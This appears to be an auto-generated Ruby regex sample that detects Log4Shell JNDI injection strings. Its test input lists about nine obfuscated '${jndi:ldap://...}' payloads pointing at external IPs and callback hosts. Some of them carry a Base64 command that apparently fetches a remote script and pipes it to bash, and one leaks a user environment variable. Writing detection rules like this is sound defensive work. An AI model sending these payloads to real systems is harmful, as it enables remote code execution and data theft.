re = /(?i)((%(25){0,}20|\s)*(%(25){0,}24|\$)(%(25){0,}20|\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\s)*(%(25){0,}3A|:)[\w\%]+(%(25){1,}3A|:)(%(25){1,}2F|\/)|\$((::-[A-Z%]}\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\/)[^\n]+/m
str = 'Primary conditions:
(?i)(%(25){0,}20|\\s)*(%(25){0,}24|\\$)(%(25){0,}20|\\s)*(%(25){0,}7B|{){0,1}(%(25){0,}20|\\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\\s)*(%(25){0,}3A|:)[\\w\\%]+(%(25){1,}3A|:)(%(25){1,}2F|\\/)[^\\n]+
Secondary conditions:
(?i)\\$((::-[A-Z%]}\\$){1,}|(ENV|LOWER|UPPER):).+[:}]{2}\\/[^\\n]+
$$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://$hostName}.c6qg2lspu892jo716f40cg4oaxeyurbne.interactsh.com}
$$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://45.146.164.160:1389/t}
$$::-j}$::-n}$::-d}$::-i}:$::-l}$::-d}$::-a}$::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDYuMjkuMTY4LjI1Mzo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUu
$$env:ENV_NAME:-j}n$env:ENV_NAME:-d}i$env:ENV_NAME:-:}$env:ENV_NAME:-l}d$env:ENV_NAME:-a}p$env:ENV_NAME:-:}//45.146.164.160:8081/w}
$$lower:$lower:jndi}}:ld$lower:ap}://45.146.164.160:1389/t}
$$lower:j}$upper:n}$lower:d}$upper:i}:$lower:l}$upper:d}$lower:a}$upper:p}://45.146.164.160:1389/t}
$jndi:$lower:l}$lower:d}a$lower:p}://world443.log4j.bin$upper:a}ryedge.io:80/callback}
$jndi:ldap://$env:user}.egrc.external.blarg.com.lujv9ndjcmlh27ea91gyrl6umlsbg0.burpcollaborator.net/a}
$jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDYuMjkuMTY4LjI1Mjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjA2LjI5LjE2OC4yNTI6NDQzKXxiYXNo}'
# Print the match result
str.scan(re) do |match|
puts match.to_s
end
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Ruby, please visit: http://ruby-doc.org/core-2.2.0/Regexp.html